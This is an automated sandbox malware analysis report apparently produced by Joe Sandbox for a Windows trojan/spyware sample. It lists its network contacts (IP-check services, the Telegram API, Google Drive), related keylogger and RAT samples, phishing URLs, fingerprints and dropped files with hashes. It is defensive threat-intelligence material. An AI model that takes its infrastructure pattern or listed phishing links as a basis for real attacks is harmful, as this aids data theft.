http://checkip.dyndns.org	V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035163000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	V7OHj6ISEo.exe	false	high
http://api.telegram.org	V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	V7OHj6ISEo.exe, 00000007.00000002.2563111506.00000000350F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.32.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.186.110	drive.google.com	United States	15169	GOOGLEUS	false
142.250.185.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588170
Start date and time:	2025-01-10 22:12:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	V7OHj6ISEo.exe renamed because original name is a hash value
Original Sample Name:	d7aca08687c1ffc0b01ad90f5500c968796bebf8b60995363c8d7c19be48c562.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 158 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56, 172.202.163.200
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:10:09	API Interceptor	1841x Sleep call for process: V7OHj6ISEo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	jqxrkk.ps1	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
149.154.167.220	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.32.1	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
104.21.32.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
api.telegram.org	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
checkip.dyndns.com	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
UTMEMUS	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
CLOUDFLARENETUS	https://services221.com/mm/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.shinsengumiusa.com/mrloskie	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://payhip.com/b/J12iX/purchased	Get hash	malicious	Unknown	Browse	104.17.25.14
	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	upXUt2jZ0S.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	oEQp0EklDb.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	FylY1FW6fl.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
3b5074b1b5d032e5620f69f9f700ff0e	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.110 142.250.185.65
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.110 142.250.185.65
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.110 142.250.185.65
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.110 142.250.185.65
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.110 142.250.185.65
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.110 142.250.185.65
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	142.250.186.110 142.250.185.65
	IpykYx5iwz.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.186.110 142.250.185.65
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.110 142.250.185.65
	ht58337iNC.exe	Get hash	malicious	GuLoader	Browse	142.250.186.110 142.250.185.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nscEDE4.tmp\System.dll	2CQ2zMn0hb.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	6mGpn6kupm.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	v4nrZtP7K2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	xXUnP7uCBJ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Unknown	Browse
	KO0q4biYfC.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Calcimeter.Pop

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	data
Category:	dropped
Size (bytes):	257965
Entropy (8bit):	7.803512259293467
Encrypted:	false
SSDEEP:	6144:DjtK32dqWXMPwGqfZtFEl9YCJfSLhAdxWSEUY3Wrtp2fUnwDB7FW2iFAiXg4e:zPdSe34p2fU0VJiFAiXg4e
MD5:	A656B7A543D8F12D87C1658149F48D77
SHA1:	FE252F64CED71043C6E649FB5838425AB2DD607D
SHA-256:	7C08B856F9CBD8640D8C28D4A6249CD240EB89BC92EAA9D9D3D2C9CC20B55543
SHA-512:	78A5B39CA3EF1B3CAAF45D398FEF8C5C09A237E1F99F5B106102548E2632A95A1B87C41CE0628BED4A2690F36DFAB36C12514A21AA451C52ECB4E3735B98A335
Malicious:	false
Reputation:	low
Preview:	.....<.............))...aa.,............22.g........tttt.__..............66......a.........44....k....o...........p...5555555................G...y..44444.:.UUU.......................................<...............:.eeee......................h..2.......................f....PPP...................................6....OO.........L..............^.8.....666.k...&...........<..e..........................i...WW..........$..1111.o.............(...==....BB...............h.i......r.....j..\|.~..G.$$.....yy..............aa........iiii.A...P..............{.6.S.(...lll.........SS."".1111111.........................444..................777..U..........F.....-........................... .~.ppppp..\\...................ii.............tt..}..........................y.........................777.........................jjjjj........n..nn............`..eee.....4...vvv.................lll.............-...........DD.LLLLL...................@..............C....................?...HHH....r.rr............ww.=..

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Robusticity.Pho

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	data
Category:	dropped
Size (bytes):	133874
Entropy (8bit):	4.594938586699607
Encrypted:	false
SSDEEP:	1536:cXgtolTNzmxBo22p1Nta/iRpGUg7DIvQcMMYMmXTIcsZNqsISj7/YsbcPG2:Xo5lyBn2n7a/a/Qc+XccAqsIKLpYPG2
MD5:	5923BC4D0B3B7D3F68DF0F14CA60DFFD
SHA1:	C55392EF6903DC24BC483FEF4FCE05BABCE62071
SHA-256:	8084F6513B0DC01F820EAE0A3BA41C311DCFA060B20963F52F834689ED9BBFD0
SHA-512:	B7B84D57AE1E9376D785CF9DF492DE069229A20987F2410031100AF15FDB1DE094492457D2AE1C22222B2F5466DA87C17664658CF729589D707A5100232B0687
Malicious:	false
Reputation:	low
Preview:	.....RR...sssss.........CCC.........y....................T................l..ee..ww.9.............................D....................o....v.$.....!.......................HHH.......7.........5.....N...>....................................z.A..88.........VVV.....))...D...................AA..............X..............r............%......bb...----....CCCCCC...........????..............II.....`..................NN...............E...................ZZ..II...........%..5........iii.....&......L.....mmm.l...~~~.......................hh....O..........Z.......1..............22..J........J.n.;;;;;...........]...;.......88....."".:..n....K......LL..N..HH............99......aaaaaaaaaa.A......DDD.v.]]]].X....@....""...............qqqq................++++.3...l........................................................................6..........zz.........K......................................G.]]...TTT..................ll..............SSSS......<..................O..E.........................333...

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
Encrypted:	false
SSDEEP:	768:xOeaameETrlE0+1mGOWb3h5WAV0hW+JSLSwzj2HlSdL0f6mhKZRaqOzWz6szt3cA:x+ds5dYOVxIW3hhdeRt6MeZ1W4vB
MD5:	A4340182CDDD2EC1F1480360218343F9
SHA1:	50EF929FEA713AA6FCC05E8B75F497B7946B285B
SHA-256:	B91E5B1FF5756F0B93DCF11CBC8B467CDA0C5792DE24D27EC86E7C74388B44B3
SHA-512:	021F198AFF7CCED92912C74FC97D1919A9E059F22E99AB1236FBAA36C16B520C07B78F47FC01FCFAC1B53A87CDAE3E440D0589FA2844612617FAB2EDB64A3573
Malicious:	false
Reputation:	moderate, very likely benign file
